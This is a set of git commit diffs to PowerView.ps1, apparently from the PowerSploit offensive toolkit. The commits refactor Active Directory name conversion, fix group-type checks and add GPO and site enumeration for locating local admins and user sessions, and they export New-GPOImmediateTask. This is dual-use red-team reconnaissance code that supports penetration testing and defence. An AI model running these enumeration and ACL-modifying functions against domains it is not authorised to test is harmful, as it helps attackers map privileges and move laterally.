$Translate = New-Object -comobject NameTranslate - - try { - Invoke-Method $Translate "Init" (1, $Domain) - } - catch [System.Management.Automation.MethodInvocationException] { } - - Set-Property $Translate "ChaseReferral" (0x60) - - try { - Invoke-Method $Translate "Set" (5, $ObjectName) - (Invoke-Method $Translate "Get" (3)) - } - catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate Set/Get in Convert-CanonicaltoNT4: $_" + Write-Debug "Error with translate Set/Get in Convert-ADName: $_" } } @@ -1548,12 +1399,33 @@ function Get-PathAcl { filter Get-NameField { - # helper that attempts to extract the appropriate field name - # from various passed objects. +<# + .SYNOPSIS + + Helper that attempts to extract appropriate field names from + passed computer objects. + + .PARAMETER Object + + The passed object to extract name fields from. + + .PARAMETER DnsHostName + + A DnsHostName to extract through ValueFromPipelineByPropertyName. + + .PARAMETER Name + + A Name to extract through ValueFromPipelineByPropertyName. + + .EXAMPLE + + PS C:\> Get-NetComputer -FullData | Get-NameField +#> [CmdletBinding()] param( [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] - [Object]$Object, + [Object] + $Object, [Parameter(ValueFromPipelineByPropertyName = $True)] [String] @@ -1591,7 +1463,16 @@ filter Get-NameField { function Convert-LDAPProperty { - # helper to convert specific LDAP property result fields +<# + .SYNOPSIS + + Helper that converts specific LDAP property result fields. + Used by several of the Get-Net* function. + + .PARAMETER Properties + + Properties object to extract out LDAP fields for display. +#> param( [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [ValidateNotNullOrEmpty()] @@ -3770,7 +3651,7 @@ function Get-ADObject { try { $Name = Convert-SidToName $SID if($Name) { - $Canonical = Convert-NT4toCanonical -ObjectName $Name + $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical if($Canonical) { $Domain = $Canonical.split("/")[0] } @@ -6991,7 +6872,9 @@ function Get-NetLocalGroup { $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') # try to translate the NT4 domain to a FQDN if possible - $Name = Convert-NT4toCanonical -ObjectName $AdsPath + Write-Verbose "AdsPath: $AdsPath" + $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' + if($Name) { $FQDN = $Name.split("/")[0] $ObjName = $AdsPath.split("/")[-1] @@ -8712,7 +8595,7 @@ function Invoke-UserHunter { if($ForeignUsers) { # if we're searching for user results not in the primary domain - $krbtgtName = Convert-CanonicaltoNT4 -ObjectName "krbtgt@$($Domain)" + $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4 $DomainShortName = $krbtgtName.split("\")[0] } } diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index e82cd97..467fcdd 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -25,10 +25,10 @@ PowerShellVersion = '2.0' FunctionsToExport = @( 'Add-NetUser', 'Add-ObjectAcl', - 'Convert-NT4toCanonical', 'Convert-NameToSid', 'Convert-SidToName', - 'Copy-ClonedFile', + 'Convert-ADName', + 'ConvertFrom-UACValue', 'Find-ComputerField', 'Find-ForeignGroup', 'Find-ForeignUser', @@ -57,6 +57,7 @@ FunctionsToExport = @( 'Get-NetForestDomain', 'Get-NetForestTrust', 'Get-NetGPO', + 'New-GPOImmediateTask', 'Get-NetGPOGroup', 'Get-NetGroup', 'Get-NetGroupMember', @@ -86,8 +87,7 @@ FunctionsToExport = @( 'Invoke-ReverseDnsLookup', 'Invoke-ShareFinder', 'Invoke-UserHunter', - 'Set-ADObject', - 'Set-MacAttribute' + 'Set-ADObject' ) # List of all files packaged with this module -- cgit v1.2.3 From 2e0197603c29361d70a129eff5d5c219c054b430 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 9 Mar 2016 15:37:38 -0500 Subject: Bug fix for Invoke-EnumerateLocalAdmin --- Recon/PowerView.ps1 | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index f01e265..f5c0d07 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6872,7 +6872,6 @@ function Get-NetLocalGroup { $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') # try to translate the NT4 domain to a FQDN if possible - Write-Verbose "AdsPath: $AdsPath" $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' if($Name) { @@ -10639,7 +10638,7 @@ function Find-LocalAdminAccess { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False } } } @@ -11220,10 +11219,10 @@ function Invoke-EnumerateLocalAdmin { } # if we just want to return cross-trust users - if($DomainSID -and $TrustGroupSIDS) { + if($DomainSID) { # get the local machine SID $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" - + Write-Verbose "LocalSid for $ComputerName : $LocalSID" # filter out accounts that begin with the machine SID and domain SID # but preserve any groups that have users across a trust ($TrustGroupSIDS) $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } @@ -11244,7 +11243,7 @@ function Invoke-EnumerateLocalAdmin { } } else { - Write-Verbose "[!] No users returned from $Server" + Write-Verbose "[!] No users returned from $ComputerName" } } } -- cgit v1.2.3 From 625705781e52600d67d427df962d664edb5be425 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 9 Mar 2016 16:23:27 -0500 Subject: fix for Find-GPOComputerAdmin --- Recon/PowerView.ps1 | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index f5c0d07..39e032e 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6191,7 +6191,6 @@ function Find-GPOLocation { } } - Write-Verbose "GPOgroups: $GPOgroups" $ProcessedGUIDs = @{} # process the matches and build the result objects @@ -6424,10 +6423,23 @@ function Find-GPOComputerAdmin { # for each found GPO group, resolve the SIDs of the members $GPOgroups | Where-Object {$_} | Foreach-Object { $GPO = $_ + + if ($GPO.members) { + $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { + if($_ -match '^S-1-.*') { + $_ + } + else { + # if there are any plain group names, try to resolve them to sids + (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID + } + } | Sort-Object -Unique + } + $GPO.members | Foreach-Object { - # resolvethis SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + # resolve this SID to a domain object + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ $GPOComputerAdmin = New-Object PSObject $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName -- cgit v1.2.3 From 2e1d49db33cdbef6c11c9723f6d4731e5875c803 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 9 Mar 2016 20:02:18 -0500 Subject: Fixed bug with Get-NetGroupMember and computer accounts. samaccounttype enumeration now more accurate. --- Recon/PowerView.ps1 | 48 +++++++++++++++--------------------------------- 1 file changed, 15 insertions(+), 33 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 39e032e..8672e76 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1368,7 +1368,7 @@ function Get-PathAcl { $Names = @() $SIDs = @($Object.objectsid) - if ($Recurse -and ($Object.samAccountType -ne "805306368")) { + if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) { $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid } @@ -4938,12 +4938,7 @@ function Get-NetGroupMember { if($Properties) { - if($Properties.samaccounttype -notmatch '805306368') { - $IsGroup = $True - } - else { - $IsGroup = $False - } + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype if ($FullData) { $GroupMember = Convert-LDAPProperty -Properties $Properties @@ -4997,7 +4992,12 @@ function Get-NetGroupMember { # if we're doing manual recursion if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { - Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + if($FullData) { + Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + } + else { + Get-NetGroupMember -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + } } } @@ -6225,12 +6225,7 @@ function Find-GPOLocation { ForEach ($TargetSid in $TargetObjects) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize - if($Object.samaccounttype -notmatch '805306368') { - $IsGroup = $True - } - else { - $IsGroup = $False - } + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOLocation = New-Object PSObject $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname @@ -6251,12 +6246,7 @@ function Find-GPOLocation { ForEach ($TargetSid in $TargetObjects) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize - if($Object.samaccounttype -notmatch '805306368') { - $IsGroup = $True - } - else { - $IsGroup = $False - } + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $AppliedSite = New-Object PSObject $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname @@ -6441,6 +6431,8 @@ function Find-GPOComputerAdmin { # resolve this SID to a domain object $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $GPOComputerAdmin = New-Object PSObject $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU @@ -6449,7 +6441,7 @@ function Find-GPOComputerAdmin { $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -notmatch '805306368') + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOComputerAdmin # if we're recursing and the current result object is a group @@ -6462,12 +6454,7 @@ function Find-GPOComputerAdmin { # extract the FQDN from the Distinguished Name $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - if ($_.samAccountType -ne "805306368") { - $MemberIsGroup = $True - } - else { - $MemberIsGroup = $False - } + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype if ($_.samAccountName) { # forest users have the samAccountName set @@ -6976,12 +6963,7 @@ function Get-NetLocalGroup { # extract the FQDN from the Distinguished Name $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - if ($_.samAccountType -ne "805306368") { - $MemberIsGroup = $True - } - else { - $MemberIsGroup = $False - } + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype if ($_.samAccountName) { # forest users have the samAccountName set -- cgit v1.2.3 From dee094a993642894d4542c6bc8c11864863e4536 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 11 Mar 2016 16:37:14 -0500 Subject: Additional error checking in Get-DFSshare --- Recon/PowerView.ps1 | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5823d18..5f9cc73 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5394,15 +5394,16 @@ function Get-DFSshare { } } - $redirects = Parse-Pkt $pkt[0] - $redirects | ForEach-Object { - # If a folder doesn't have a redirection it will - # have a target like - # \\null\TestNameSpace\folder\.DFSFolderLink so we - # do actually want to match on "null" rather than - # $null - if ($_ -ne "null") { - New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + if($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will + # have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we + # do actually want to match on "null" rather than + # $null + if ($_ -ne "null") { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } } } } -- cgit v1.2.3 From 26a0757612e5654b4f792b012ab8f10f95d391c9 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 15 Mar 2016 15:13:32 -0400 Subject: Added Get-SiteName to find the site a computer is a part of Added -ComputerName parameter to Get-NetGPO to enumerate all GPOs a given computer has applied Fixed bug in Find-GPOComputerAdmin and added site enumeration for GPO links --- Recon/PowerView.ps1 | 389 ++++++++++++++++++++++++++++++++++++++-------------- 1 file changed, 288 insertions(+), 101 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5f9cc73..80a1a9f 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -749,7 +749,7 @@ filter Export-PowerViewCSV { if (Test-Path -Path $OutFile) { # hack to skip the first line of output if the file already exists - $ObjectCSV | Foreach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile } else { $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile @@ -2857,7 +2857,7 @@ function Get-ObjectAcl { } try { - $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + $Searcher.FindAll() | Where-Object {$_} | ForEach-Object { $Object = [adsi]($_.path) if($Object.distinguishedname) { @@ -2888,7 +2888,7 @@ function Get-ObjectAcl { else { $_ } - } | Foreach-Object { + } | ForEach-Object { if($GUIDs) { # if we're resolving GUIDs, map them them to the resolved hash table $AclProperties = @{} @@ -3080,7 +3080,7 @@ function Add-ObjectAcl { } try { - $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + $Searcher.FindAll() | Where-Object {$_} | ForEach-Object { # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects $TargetDN = $_.Properties.distinguishedname @@ -4659,7 +4659,7 @@ function Get-NetGroup { # cause the cache to calculate the token groups for the user $UserDirectoryEntry.RefreshCache("tokenGroups") - $UserDirectoryEntry.TokenGroups | Foreach-Object { + $UserDirectoryEntry.TokenGroups | ForEach-Object { # convert the token group sid $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value @@ -5085,7 +5085,7 @@ function Get-NetFileServer { $TargetUsers -Match $_.samAccountName } else { $True } - } | Foreach-Object { + } | ForEach-Object { # split out every potential file server path if($_.homedirectory) { SplitPath($_.homedirectory) @@ -5549,7 +5549,7 @@ function Get-GptTmpl { try { Write-Verbose "Parsing $GptTmplPath" - Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { + Get-Content $GptTmplPath -ErrorAction Stop | ForEach-Object { if ($_ -match '\[') { # this signifies that we're starting a new section $SectionName = $_.trim('[]') -replace ' ','' @@ -5783,6 +5783,9 @@ function Get-NetGPO { [String] $DisplayName, + [String] + $ComputerName, + [String] $Domain, @@ -5806,21 +5809,95 @@ function Get-NetGPO { process { if ($GPOSearcher) { - if($DisplayName) { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + + if($ComputerName) { + $GPONames = @() + $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize + + if(!$Computers) { + throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" + } + + # get the given computer's OU + $ComputerOUs = @() + ForEach($Computer in $Computers) { + # extract all OUs a computer is a part of + $DN = $Computer.distinguishedname + + $ComputerOUs += $DN.split(",") | ForEach-Object { + if($_.startswith("OU=")) { + $DN.substring($DN.indexof($_)) + } + } + } + + Write-Verbose "ComputerOUs: $ComputerOUs" + + # find all the GPOs linked to the computer's OU + ForEach($ComputerOU in $ComputerOUs) { + $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object { + # get any GPO links + write-verbose "blah: $($_.name)" + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } + + Write-Verbose "GPONames: $GPONames" + + # find any GPOs linked to the site for the given computer + $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName + if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } + } + + $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object { + + # use the gplink as an ADS path to enumerate all GPOs for the computer + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + + try { + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Out = Convert-LDAPProperty -Properties $_.Properties + $Out | Add-Member Noteproperty 'ComputerName' $ComputerName + $Out + } + } + catch { + Write-Warning $_ + } + } } + else { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" - } + if($DisplayName) { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" + } + else { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" + } - try { - $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + try { + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + catch { + Write-Warning $_ } - } - catch { - Write-Warning $_ } } } @@ -5863,7 +5940,7 @@ function New-GPOImmediateTask { .PARAMETER GPODisplayName - The GPO display name to to build the task for. + The GPO display name to build the task for. .PARAMETER Domain @@ -6121,7 +6198,7 @@ function Get-NetGPOGroup { ) # get every GPO from the specified domain with restricted groups set - Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | Foreach-Object { + Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { $Memberof = $Null $Members = $Null @@ -6415,7 +6492,8 @@ function Find-GPOLocation { $TargetObjects = $GPOMembers } - ForEach ($TargetSid in $TargetObjects) { + ForEach ($TargetSid in $TargetObjects) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype @@ -6434,7 +6512,7 @@ function Find-GPOLocation { } # find any sites that have this GUID applied - Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | Foreach-Object { + Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { ForEach ($TargetSid in $TargetObjects) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize @@ -6554,6 +6632,8 @@ function Find-GPOComputerAdmin { Throw "-ComputerName or -OUName must be provided" } + $GPOGroups = @() + if($ComputerName) { $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize @@ -6561,16 +6641,42 @@ function Find-GPOComputerAdmin { throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" } + $TargetOUs = @() ForEach($Computer in $Computers) { # extract all OUs a computer is a part of $DN = $Computer.distinguishedname - $TargetOUs = $DN.split(",") | Foreach-Object { + $TargetOUs += $DN.split(",") | ForEach-Object { if($_.startswith("OU=")) { $DN.substring($DN.indexof($_)) } } } + + # enumerate any linked GPOs for the computer's site + $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName + if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } + } + } + } | ForEach-Object { + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $_ + 'UsePSDrive' = $UsePSDrive + 'PageSize' = $PageSize + } + + # for each GPO link, get any locally set user/group SIDs + Get-NetGPOGroup @GPOGroupArgs + } + } } else { $TargetOUs = @($OUName) @@ -6578,19 +6684,19 @@ function Find-GPOComputerAdmin { Write-Verbose "Target OUs: $TargetOUs" - $TargetOUs | Where-Object {$_} | Foreach-Object { - - $OU = $_ + $TargetOUs | Where-Object {$_} | ForEach-Object { # for each OU the computer is a part of, get the full OU object - $GPOgroups = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | Foreach-Object { + $GPOgroups += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { # and then get any GPO links - $_.gplink.split("][") | Foreach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] + if($_.gplink) { + $_.gplink.split("][") | ForEach-Object { + if ($_.startswith("LDAP")) { + $_.split(";")[0] + } } } - } | Foreach-Object { + } | ForEach-Object { $GPOGroupArgs = @{ 'Domain' = $Domain 'DomainController' = $DomainController @@ -6602,79 +6708,77 @@ function Find-GPOComputerAdmin { # for each GPO link, get any locally set user/group SIDs Get-NetGPOGroup @GPOGroupArgs } + } - # for each found GPO group, resolve the SIDs of the members - $GPOgroups | Where-Object {$_} | Foreach-Object { - $GPO = $_ + # for each found GPO group, resolve the SIDs of the members + $GPOgroups | Where-Object {$_} | ForEach-Object { + $GPO = $_ - if ($GPO.members) { - $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { - if($_ -match '^S-1-.*') { - $_ - } - else { - # if there are any plain group names, try to resolve them to sids - (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID - } - } | Sort-Object -Unique - } + if ($GPO.members) { + $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { + if($_ -match '^S-1-.*') { + $_ + } + else { + # if there are any plain group names, try to resolve them to sids + (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID + } + } | Sort-Object -Unique + } - $GPO.members | Foreach-Object { + $GPO.members | ForEach-Object { - # resolve this SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ + # resolve this SID to a domain object + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOComputerAdmin + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerAdmin - # if we're recursing and the current result object is a group - if($Recurse -and $GPOComputerAdmin.isGroup) { + # if we're recursing and the current result object is a group + if($Recurse -and $GPOComputerAdmin.isGroup) { - Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { + Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object { - $MemberDN = $_.distinguishedName + $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn } - else { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn } - - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $GPOComputerAdmin } + + $GPOComputerAdmin = New-Object PSObject + $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName + $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName + $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $GPOComputerAdmin } } } @@ -6714,9 +6818,15 @@ function Get-DomainPolicy { .EXAMPLE - PS C:\> Get-NetGPO + PS C:\> Get-DomainPolicy + + Returns the domain policy for the current domain. + + .EXAMPLE + + PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local - Returns the GPOs in the current domain. + Returns the policy for the MASTER.testlab.local domain controller. #> [CmdletBinding()] @@ -6770,25 +6880,25 @@ function Get-DomainPolicy { } # parse the GptTmpl.inf - Get-GptTmpl @ParseArgs | Foreach-Object { + Get-GptTmpl @ParseArgs | ForEach-Object { if($ResolveSids) { # if we're resolving sids in PrivilegeRights to names $Policy = New-Object PSObject - $_.psobject.properties | Foreach-Object { + $_.psobject.properties | ForEach-Object { if( $_.Name -eq 'PrivilegeRights') { $PrivilegeRights = New-Object PSObject # for every nested SID member of PrivilegeRights, try to # unpack everything and resolve the SIDs as appropriate - $_.Value.psobject.properties | Foreach-Object { + $_.Value.psobject.properties | ForEach-Object { - $Sids = $_.Value | Foreach-Object { + $Sids = $_.Value | ForEach-Object { try { if($_ -isnot [System.Array]) { Convert-SidToName $_ } else { - $_ | Foreach-Object { Convert-SidToName $_ } + $_ | ForEach-Object { Convert-SidToName $_ } } } catch { @@ -7685,7 +7795,7 @@ filter Invoke-CheckLocalAdminAccess { <# .SYNOPSIS - This function will use the OpenSCManagerW Win32API call to to establish + This function will use the OpenSCManagerW Win32API call to establish a handle to the remote host. If this succeeds, the 